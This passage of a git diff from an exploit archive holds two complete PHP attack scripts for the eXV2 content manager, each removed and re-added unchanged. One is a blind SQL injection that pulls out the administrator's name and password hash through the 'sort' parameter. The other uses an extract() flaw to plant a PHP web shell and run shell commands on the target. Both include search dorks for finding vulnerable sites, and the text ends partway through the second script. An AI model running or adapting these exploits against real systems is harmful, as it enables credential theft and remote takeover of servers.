-$uid=(int)$temp2[0];
-echo "uid -> ".$uid."\n";
-
-//configure your message box, needed...
-$data ="msg_mail=0";
-$data.="&msg_showdisc=0";
-$data.="&msg_showsend=0";
-$data.="&update=0";
-$data.="&op=config_save";
-$data.="&submit=Save";
-$packet ="POST ".$p."modules/messages/conf.php HTTP/1.0\r\n";
-$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
-$packet.="Accept-Encoding: text/plain\r\n";
-$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Content-Length: ".strlen($data)."\r\n";
-$packet.="Cookie: ".$cookie."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-$packet.=$data;
-sendpacketii($packet);
-sleep(1);
-
-//send to yourself some messages...
-for ($i=2; $i>=1; $i--)
-{
-$data='-----------------------------7d626f251b00fa
-Content-Disposition: form-data; name="to_userid"
-
-'.$uid.'
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="subject"
-
-11111111111111111111111'.$i.'
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="message"
-
-11111111111111111111111
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="MAX_FILE_SIZE"
-
-256000
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="msg_attachment"; filename=""
-
-
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="msg_attachment[max_file_size]"
-
-256000
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="msg_attachment[accepted]"
-
-
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="allow_html"
-
-1
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="allow_smileys"
-
-1
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="allow_bbcode"
-
-1
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="submit"
-
-Envoyer
------------------------------7d626f251b00fa--
-';
-$packet="POST ".$p."modules/messages/pmlite.php HTTP/1.0\r\n";
-$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
-$packet.="Accept-Encoding: text/plain\r\n";
-$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Content-Length: ".strlen($data)."\r\n";
-$packet.="Connection: Close\r\n";
-$packet.="Cookie: $cookie\r\n\r\n";
-$packet.=$data;
-sendpacketii($packet);
-sleep(2);
-}
-
-//let's go...
-$md5s[0]=0;//null
-$md5s=array_merge($md5s,range(48,57)); //numbers
-$md5s=array_merge($md5s,range(97,102));//a-f letters
-//print_r(array_values($md5s));
-$j=1;
-$my_password="";
-while (!strstr($my_password,chr(0)))
-{
-for ($i=0; $i<=255; $i++)
-{
-if (in_array($i,$md5s))
-{
-$sql="(SELECT(IF((ASCII(SUBSTRING(pass,$j,1))=".$i."),msg_time,subject))FROM/**/".$prefix."users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*";
-echo "sql -> ".$sql."\r\n";
-$sql=urlencode($sql);
-$packet ="GET ".$p."modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n";
-$packet.="Accept-Encoding: text/plain\r\n";
-$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Cookie: ".$cookie."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-sendpacketii($packet);
-if (!strstr($html,"111111111111111111111111")){$my_password.=chr($i);echo "password -> ".$my_password."[???]\n";sleep(1);break;}
-}
-if ($i==255) {die("Exploit failed...");}
-}
-$j++;
-}
-
-$j=1;
-$my_admin="";
-while (!strstr($my_admin,chr(0)))
-{
-for ($i=0; $i<=255; $i++)
-{
-$sql="(SELECT(IF((ASCII(SUBSTRING(uname,$j,1))=".$i."),msg_time,subject))FROM/**/".$prefix."users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*";
-echo "sql -> ".$sql."\r\n";
-$sql=urlencode($sql);
-$packet ="GET ".$p."modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n";
-$packet.="Accept-Encoding: text/plain\r\n";
-$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Cookie: ".$cookie."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-sendpacketii($packet);
-if (!strstr($html,"111111111111111111111111")){$my_admin.=chr($i);echo "admin -> ".$my_admin."[???]\n";sleep(1);break;}
-if ($i==255) {die("Exploit failed...");}
-}
-$j++;
-}
-echo "--------------------------------------------------------------------\n";
-echo "admin          -> ".$my_admin."\n";
-echo "password (md5) -> ".$my_password."\n";
-echo "--------------------------------------------------------------------\n";
-
-function is_hash($hash)
-{
- if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
- else {return false;}
-}
-
-if (is_hash($my_password)) {echo "Exploit succeeded...";}
-else {echo "Exploit failed...";}
-?>
-
-# milw0rm.com [2006-09-21]
+#!/usr/bin/php -q -d short_open_tag=on
+<?
+print_r('
+-------------------------------------------------------------------------------
+exV2 <= 2.0.4.3 "sort" SQL injection / administrative credentials disclosure
+exploit
+mail: retrog@alice.it
+site: http://retrogod.altervista.org
+dork: "Powered by eXV2 Vers"
+-------------------------------------------------------------------------------
+');
+/*
+this works regardless of php.ini settings
+against Mysql >= 4.1 (allowing subs)
+and if 'messages' module is enabled
+*/
+if ($argc<4) {
+print_r('
+-----------------------------------------------------------------------------
+Usage: php '.$argv[0].' host path user pass OPTIONS
+host:      target server (ip/hostname)
+path:      path to exv2
+user/pass: valide user credentials
+Options:
+ -T[prefix:   specify a table prefix, other than default (exv2_)
+ -p[port]:    specify a port other than 80
+ -P[ip:port]: specify a proxy
+Example:
+php '.$argv[0].' 2.2.2.2 /exv2/ rgod test -P1.1.1.1:80
+php '.$argv[0].' 1.1.1.1 / rgod test -p81
+-----------------------------------------------------------------------------
+');
+die;
+}
+
+error_reporting(0);
+ini_set("max_execution_time",0);
+ini_set("default_socket_timeout",5);
+
+function quick_dump($string)
+{
+  $result='';$exa='';$cont=0;
+  for ($i=0; $i<=strlen($string)-1; $i++)
+  {
+   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+   {$result.="  .";}
+   else
+   {$result.="  ".$string[$i];}
+   if (strlen(dechex(ord($string[$i])))==2)
+   {$exa.=" ".dechex(ord($string[$i]));}
+   else
+   {$exa.=" 0".dechex(ord($string[$i]));}
+   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
+  }
+ return $exa."\r\n".$result;
+}
+$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+function sendpacketii($packet)
+{
+  global $proxy, $host, $port, $html, $proxy_regex;
+  if ($proxy=='') {
+    $ock=fsockopen(gethostbyname($host),$port);
+    if (!$ock) {
+      echo 'No response from '.$host.':'.$port; die;
+    }
+  }
+  else {
+	$c = preg_match($proxy_regex,$proxy);
+    if (!$c) {
+      echo 'Not a valid proxy...';die;
+    }
+    $parts=explode(':',$proxy);
+    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
+    $ock=fsockopen($parts[0],$parts[1]);
+    if (!$ock) {
+      echo 'No response from proxy...';die;
+	}
+  }
+  fputs($ock,$packet);
+  if ($proxy=='') {
+    $html='';
+    while (!feof($ock)) {
+      $html.=fgets($ock);
+    }
+  }
+  else {
+    $html='';
+    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+      $html.=fread($ock,1);
+    }
+  }
+  fclose($ock);
+  #debug
+  #echo "\r\n".$html;
+}
+
+$host=$argv[1];
+$path=$argv[2];
+$uname=$argv[3];
+$pass=$argv[4];
+$prefix="exv2_";
+
+$port=80;
+$proxy="";
+for ($i=5; $i<$argc; $i++){
+$temp=$argv[$i][0].$argv[$i][1];
+if ($temp=="-p")
+{
+  $port=str_replace("-p","",$argv[$i]);
+}
+if ($temp=="-P")
+{
+  $proxy=str_replace("-P","",$argv[$i]);
+}
+if ($temp=="-T")
+{
+  $prefix=str_replace("-T","",$argv[$i]);
+}
+}
+if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+
+//login
+$data="uname=$uname&pass=$pass&op=login";
+$packet ="POST ".$p."user.php HTTP/1.0\r\n";
+$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
+$packet.="Accept-Encoding: text/plain\r\n";
+$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Content-Length: ".strlen($data)."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+$packet.=$data;
+sendpacketii($packet);
+$temp=explode("Set-Cookie: ",$html);
+$cookie="";
+for ($i=1; $i<count($temp); $i++)
+{
+  $temp2=explode(" ",$temp[$i]);
+  $temp3=explode("\r",$temp2[0]);
+  if (!strstr($temp3[0],";")){$temp3[0]=$temp3[0].";";}
+  $cookie.=$temp3[0];
+}
+echo "cookie ->".$cookie."\n";
+
+//retrieve your user id
+$packet ="GET ".$p."edituser.php HTTP/1.0\r\n";
+$packet.="Accept-Encoding: text/plain\r\n";
+$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Cookie: ".$cookie."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+sendpacketii($packet);
+$temp=explode("userinfo.php?uid=",$html);
+$temp2=explode("'",$temp[1]);
+$uid=(int)$temp2[0];
+echo "uid -> ".$uid."\n";
+
+//configure your message box, needed...
+$data ="msg_mail=0";
+$data.="&msg_showdisc=0";
+$data.="&msg_showsend=0";
+$data.="&update=0";
+$data.="&op=config_save";
+$data.="&submit=Save";
+$packet ="POST ".$p."modules/messages/conf.php HTTP/1.0\r\n";
+$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
+$packet.="Accept-Encoding: text/plain\r\n";
+$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Content-Length: ".strlen($data)."\r\n";
+$packet.="Cookie: ".$cookie."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+$packet.=$data;
+sendpacketii($packet);
+sleep(1);
+
+//send to yourself some messages...
+for ($i=2; $i>=1; $i--)
+{
+$data='-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="to_userid"
+
+'.$uid.'
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="subject"
+
+11111111111111111111111'.$i.'
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="message"
+
+11111111111111111111111
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="MAX_FILE_SIZE"
+
+256000
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="msg_attachment"; filename=""
+
+
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="msg_attachment[max_file_size]"
+
+256000
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="msg_attachment[accepted]"
+
+
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="allow_html"
+
+1
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="allow_smileys"
+
+1
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="allow_bbcode"
+
+1
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="submit"
+
+Envoyer
+-----------------------------7d626f251b00fa--
+';
+$packet="POST ".$p."modules/messages/pmlite.php HTTP/1.0\r\n";
+$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
+$packet.="Accept-Encoding: text/plain\r\n";
+$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Content-Length: ".strlen($data)."\r\n";
+$packet.="Connection: Close\r\n";
+$packet.="Cookie: $cookie\r\n\r\n";
+$packet.=$data;
+sendpacketii($packet);
+sleep(2);
+}
+
+//let's go...
+$md5s[0]=0;//null
+$md5s=array_merge($md5s,range(48,57)); //numbers
+$md5s=array_merge($md5s,range(97,102));//a-f letters
+//print_r(array_values($md5s));
+$j=1;
+$my_password="";
+while (!strstr($my_password,chr(0)))
+{
+for ($i=0; $i<=255; $i++)
+{
+if (in_array($i,$md5s))
+{
+$sql="(SELECT(IF((ASCII(SUBSTRING(pass,$j,1))=".$i."),msg_time,subject))FROM/**/".$prefix."users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*";
+echo "sql -> ".$sql."\r\n";
+$sql=urlencode($sql);
+$packet ="GET ".$p."modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n";
+$packet.="Accept-Encoding: text/plain\r\n";
+$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Cookie: ".$cookie."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+sendpacketii($packet);
+if (!strstr($html,"111111111111111111111111")){$my_password.=chr($i);echo "password -> ".$my_password."[???]\n";sleep(1);break;}
+}
+if ($i==255) {die("Exploit failed...");}
+}
+$j++;
+}
+
+$j=1;
+$my_admin="";
+while (!strstr($my_admin,chr(0)))
+{
+for ($i=0; $i<=255; $i++)
+{
+$sql="(SELECT(IF((ASCII(SUBSTRING(uname,$j,1))=".$i."),msg_time,subject))FROM/**/".$prefix."users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*";
+echo "sql -> ".$sql."\r\n";
+$sql=urlencode($sql);
+$packet ="GET ".$p."modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n";
+$packet.="Accept-Encoding: text/plain\r\n";
+$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Cookie: ".$cookie."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+sendpacketii($packet);
+if (!strstr($html,"111111111111111111111111")){$my_admin.=chr($i);echo "admin -> ".$my_admin."[???]\n";sleep(1);break;}
+if ($i==255) {die("Exploit failed...");}
+}
+$j++;
+}
+echo "--------------------------------------------------------------------\n";
+echo "admin          -> ".$my_admin."\n";
+echo "password (md5) -> ".$my_password."\n";
+echo "--------------------------------------------------------------------\n";
+
+function is_hash($hash)
+{
+ if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
+ else {return false;}
+}
+
+if (is_hash($my_password)) {echo "Exploit succeeded...";}
+else {echo "Exploit failed...";}
+?>
+
+# milw0rm.com [2006-09-21]
diff --git a/platforms/php/webapps/2415.php b/platforms/php/webapps/2415.php
index bc93f0bb5..19d85b4f6 100755
--- a/platforms/php/webapps/2415.php
+++ b/platforms/php/webapps/2415.php
@@ -1,272 +1,272 @@
-#!/usr/bin/php -q -d short_open_tag=on
-<?
-print_r('
--------------------------------------------------------------------------------
-exV2 <= 2.0.4.3 extract() remote commands execution exploit
-mail: retrog@alice.it
-site: http://retrogod.altervista.org
-dork: "Powered by eXV2 Vers"
--------------------------------------------------------------------------------
-');
-/*
-this works regardless of php.ini settings
-two different exploit methods for register_globals=on or off
-*/
-if ($argc<4) {
-print_r('
------------------------------------------------------------------------------
-Usage: php '.$argv[0].' host path cmd OPTIONS
-host:      target server (ip/hostname)
-path:      path to exv2
-cmd:       a shell command
-Options:
- -p[port]:    specify a port other than 80
- -P[ip:port]: specify a proxy
-Example:
-php '.$argv[0].' 2.2.2.2 /exv2/ ls -la -P1.1.1.1:80
-php '.$argv[0].' 1.1.1.1 / ls -la -p81
------------------------------------------------------------------------------
-');
-die;
-}
-
-/*
-  software site: http://www.exv2.de/modules/welcome/
-
-  i) vulnerable code in include/common.php :
-
-...
-// ################# :: Register Globals Compatibility :: #################
-	$globals_test = @ini_get('register_globals');
-	if ( isset($globals_test) && empty($globals_test) ) {echo "merdaaaaaaaaaaaaaaaaaaaa\n";
-	// These still need some work :: Cookie|Server|Env are ok now.
-		if ( !empty($_GET) )  { extract($_GET, EXTR_SKIP);  }
-		if ( !empty($_POST) ) { extract($_POST, EXTR_OVERWRITE); }
-		define('_GLOBALS', FALSE);
-	} else {
-		define('_GLOBALS', TRUE);
-	}
-...
-
-if register_globals = off you can overwrite every var on target server
-found this exploitation method:
-
-some lines after this code we have:
-
-...
-// ################ Include page-specific lang file ################
-// von Zeile 135 herunter gesetzt, da Userinfo usw. nicht in die language übernommen wurde
-	if ( isset($xoopsOption['pagetype']) ) {
-		if ( @file_exists(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php') ) {
-			include_once(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php');
-		} else {
-			include_once(XOOPS_ROOT_PATH.'/language/english/'.$xoopsOption['pagetype'].'.php');
-		}
-	}
-...
-
-so we modify the $xoopsOption['pagetype'] var to reach the mail_template.php script in /include folder
-where we have:
-
-...
-	$code=stripslashes(isset($code) ? $code : "");
-	if(isset($op_action) && $op_action == "save" && $lang != "" && $script != ""){
-		$code=str_replace("&lt;","<",$code);
-		$fp=fopen($mod_path."/language/".$lang."/mail_template/".$script, "w");
-		fputs ($fp,$code);
-		fclose($fp);
-		header("Location:index.php?".$temp_op."=mail_template&script=".$script."&lang=".$lang."");
-        exit();
-	}
-...
-
-now we can save our shell code in a php file...
-
-also, if register_globals = On you can call directly the mail_template.php script
-to do the same stuff
-
-through the extract() bug is also possibile to delete recursively all sites content
-including the /modules/system/admin/design/include/conf_theme.php script
-and to upload images without authorization in /images/library folder including
-the image manager script and setting some vars
-
-ii) an sql injection issue, poc:
-http://retrogod.altervista.org/exv2_2043_sql.html
-
-iii)
-registered user can delete an arbitrary file on target server through
-avatar upload features, because of a directory traversal in old_avatar
-argument, passed to an unlink()
-
-this is the poc for i)
-*/
-error_reporting(0);
-ini_set("max_execution_time",0);
-ini_set("default_socket_timeout",5);
-
-function quick_dump($string)
-{
-  $result='';$exa='';$cont=0;
-  for ($i=0; $i<=strlen($string)-1; $i++)
-  {
-   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
-   {$result.="  .";}
-   else
-   {$result.="  ".$string[$i];}
-   if (strlen(dechex(ord($string[$i])))==2)
-   {$exa.=" ".dechex(ord($string[$i]));}
-   else
-   {$exa.=" 0".dechex(ord($string[$i]));}
-   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
-  }
- return $exa."\r\n".$result;
-}
-$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
-function sendpacketii($packet)
-{
-  global $proxy, $host, $port, $html, $proxy_regex;
-  if ($proxy=='') {
-    $ock=fsockopen(gethostbyname($host),$port);
-    if (!$ock) {
-      echo 'No response from '.$host.':'.$port; die;
-    }
-  }
-  else {
-	$c = preg_match($proxy_regex,$proxy);
-    if (!$c) {
-      echo 'Not a valid proxy...';die;
-    }
-    $parts=explode(':',$proxy);
-    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
-    $ock=fsockopen($parts[0],$parts[1]);
-    if (!$ock) {
-      echo 'No response from proxy...';die;
-	}
-  }
-  fputs($ock,$packet);
-  if ($proxy=='') {
-    $html='';
-    while (!feof($ock)) {
-      $html.=fgets($ock);
-    }
-  }
-  else {
-    $html='';
-    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
-      $html.=fread($ock,1);
-    }
-  }
-  fclose($ock);
-  #debug
-  #echo "\r\n".$html;
-}
-
-$host=$argv[1];
-$path=$argv[2];
-$port=80;
-$proxy="";
-for ($i=3; $i<$argc; $i++){
-$temp=$argv[$i][0].$argv[$i][1];
-if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
-if ($temp=="-p")
-{
-  $port=str_replace("-p","",$argv[$i]);
-}
-if ($temp=="-P")
-{
-  $proxy=str_replace("-P","",$argv[$i]);
-}
-}
-if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
-
-//register_globals=off, extract() tricks...
-$data='-----------------------------7d626f251b00fa
-Content-Disposition: form-data; name="xoopsOption[pagetype]"
-
-../../include/mail_template
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="op_action"
-
-save
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="mod_path"
-
-.
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="lang"
-
-english
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="script"
-
-../../../images/library/placeholder.php
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="code"
-
-<?php set_time_limit(0); error_reporting(0); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]);?>
------------------------------7d626f251b00fa--
-';
-$packet ="POST ".$p." HTTP/1.0\r\n";
-$packet.="Accept-Encoding: text/plain\r\n";
-$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
-$packet.="Content-Length: ".strlen($data)."\r\n";
-$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Cookie: ".$cookie."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-$packet.=$data;
-sendpacketii($packet);
-sleep(2);
-
-//register_globals=on
-$data='-----------------------------7d626f251b00fa
-Content-Disposition: form-data; name="op_action"
-
-save
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="mod_path"
-
-.
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="lang"
-
-english
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="script"
-
-../images/library/placeholder.php
------------------------------7d626f251b00fa
-Content-Disposition: form-data; name="code"
-
-<?php set_time_limit(0); error_reporting(0); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]);?>
------------------------------7d626f251b00fa--
-';
-$packet ="POST ".$p."include/mail_template.php HTTP/1.0\r\n";
-$packet.="Accept-Encoding: text/plain\r\n";
-$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
-$packet.="Content-Length: ".strlen($data)."\r\n";
-$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Cookie: ".$cookie."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-$packet.=$data;
-sendpacketii($packet);
-sleep(2);
-
-$packet ="GET ".$p."images/library/placeholder.php HTTP/1.0\r\n";
-$packet.="SUNTZU: $cmd\r\n";
-$packet.="Accept-Encoding: text/plain\r\n";
-$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-$packet.=$data;
-sendpacketii($packet);
-if (strstr($html,"my_delim"))
-{
- $temp=explode("my_delim",$html);
- die($temp[1]);
-}
-echo "exploit failed...";
-?>
-
-# milw0rm.com [2006-09-22]
+#!/usr/bin/php -q -d short_open_tag=on
+<?
+print_r('
+-------------------------------------------------------------------------------
+exV2 <= 2.0.4.3 extract() remote commands execution exploit
+mail: retrog@alice.it
+site: http://retrogod.altervista.org
+dork: "Powered by eXV2 Vers"
+-------------------------------------------------------------------------------
+');
+/*
+this works regardless of php.ini settings
+two different exploit methods for register_globals=on or off
+*/
+if ($argc<4) {
+print_r('
+-----------------------------------------------------------------------------
+Usage: php '.$argv[0].' host path cmd OPTIONS
+host:      target server (ip/hostname)
+path:      path to exv2
+cmd:       a shell command
+Options:
+ -p[port]:    specify a port other than 80
+ -P[ip:port]: specify a proxy
+Example:
+php '.$argv[0].' 2.2.2.2 /exv2/ ls -la -P1.1.1.1:80
+php '.$argv[0].' 1.1.1.1 / ls -la -p81
+-----------------------------------------------------------------------------
+');
+die;
+}
+
+/*
+  software site: http://www.exv2.de/modules/welcome/
+
+  i) vulnerable code in include/common.php :
+
+...
+// ################# :: Register Globals Compatibility :: #################
+	$globals_test = @ini_get('register_globals');
+	if ( isset($globals_test) && empty($globals_test) ) {echo "merdaaaaaaaaaaaaaaaaaaaa\n";
+	// These still need some work :: Cookie|Server|Env are ok now.
+		if ( !empty($_GET) )  { extract($_GET, EXTR_SKIP);  }
+		if ( !empty($_POST) ) { extract($_POST, EXTR_OVERWRITE); }
+		define('_GLOBALS', FALSE);
+	} else {
+		define('_GLOBALS', TRUE);
+	}
+...
+
+if register_globals = off you can overwrite every var on target server
+found this exploitation method:
+
+some lines after this code we have:
+
+...
+// ################ Include page-specific lang file ################
+// von Zeile 135 herunter gesetzt, da Userinfo usw. nicht in die language übernommen wurde
+	if ( isset($xoopsOption['pagetype']) ) {
+		if ( @file_exists(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php') ) {
+			include_once(XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/'.$xoopsOption['pagetype'].'.php');
+		} else {
+			include_once(XOOPS_ROOT_PATH.'/language/english/'.$xoopsOption['pagetype'].'.php');
+		}
+	}
+...
+
+so we modify the $xoopsOption['pagetype'] var to reach the mail_template.php script in /include folder
+where we have:
+
+...
+	$code=stripslashes(isset($code) ? $code : "");
+	if(isset($op_action) && $op_action == "save" && $lang != "" && $script != ""){
+		$code=str_replace("&lt;","<",$code);
+		$fp=fopen($mod_path."/language/".$lang."/mail_template/".$script, "w");
+		fputs ($fp,$code);
+		fclose($fp);
+		header("Location:index.php?".$temp_op."=mail_template&script=".$script."&lang=".$lang."");
+        exit();
+	}
+...
+
+now we can save our shell code in a php file...
+
+also, if register_globals = On you can call directly the mail_template.php script
+to do the same stuff
+
+through the extract() bug is also possibile to delete recursively all sites content
+including the /modules/system/admin/design/include/conf_theme.php script
+and to upload images without authorization in /images/library folder including
+the image manager script and setting some vars
+
+ii) an sql injection issue, poc:
+http://retrogod.altervista.org/exv2_2043_sql.html
+
+iii)
+registered user can delete an arbitrary file on target server through
+avatar upload features, because of a directory traversal in old_avatar
+argument, passed to an unlink()
+
+this is the poc for i)
+*/
+error_reporting(0);
+ini_set("max_execution_time",0);
+ini_set("default_socket_timeout",5);
+
+function quick_dump($string)
+{
+  $result='';$exa='';$cont=0;
+  for ($i=0; $i<=strlen($string)-1; $i++)
+  {
+   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+   {$result.="  .";}
+   else
+   {$result.="  ".$string[$i];}
+   if (strlen(dechex(ord($string[$i])))==2)
+   {$exa.=" ".dechex(ord($string[$i]));}
+   else
+   {$exa.=" 0".dechex(ord($string[$i]));}
+   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
+  }
+ return $exa."\r\n".$result;
+}
+$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+function sendpacketii($packet)
+{
+  global $proxy, $host, $port, $html, $proxy_regex;
+  if ($proxy=='') {
+    $ock=fsockopen(gethostbyname($host),$port);
+    if (!$ock) {
+      echo 'No response from '.$host.':'.$port; die;
+    }
+  }
+  else {
+	$c = preg_match($proxy_regex,$proxy);
+    if (!$c) {
+      echo 'Not a valid proxy...';die;
+    }
+    $parts=explode(':',$proxy);
+    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
+    $ock=fsockopen($parts[0],$parts[1]);
+    if (!$ock) {
+      echo 'No response from proxy...';die;
+	}
+  }
+  fputs($ock,$packet);
+  if ($proxy=='') {
+    $html='';
+    while (!feof($ock)) {
+      $html.=fgets($ock);
+    }
+  }
+  else {
+    $html='';
+    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+      $html.=fread($ock,1);
+    }
+  }
+  fclose($ock);
+  #debug
+  #echo "\r\n".$html;
+}
+
+$host=$argv[1];
+$path=$argv[2];
+$port=80;
+$proxy="";
+for ($i=3; $i<$argc; $i++){
+$temp=$argv[$i][0].$argv[$i][1];
+if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
+if ($temp=="-p")
+{
+  $port=str_replace("-p","",$argv[$i]);
+}
+if ($temp=="-P")
+{
+  $proxy=str_replace("-P","",$argv[$i]);
+}
+}
+if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+
+//register_globals=off, extract() tricks...
+$data='-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="xoopsOption[pagetype]"
+
+../../include/mail_template
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="op_action"
+
+save
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="mod_path"
+
+.
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="lang"
+
+english
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="script"
+
+../../../images/library/placeholder.php
+-----------------------------7d626f251b00fa
+Content-Disposition: form-data; name="code"
+
+<?php set_time_limit(0); error_reporting(0); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]);?>
+-----------------------------7d626f251b00fa--
+';
+$packet ="POST ".$p." HTTP/1.0\r\n";
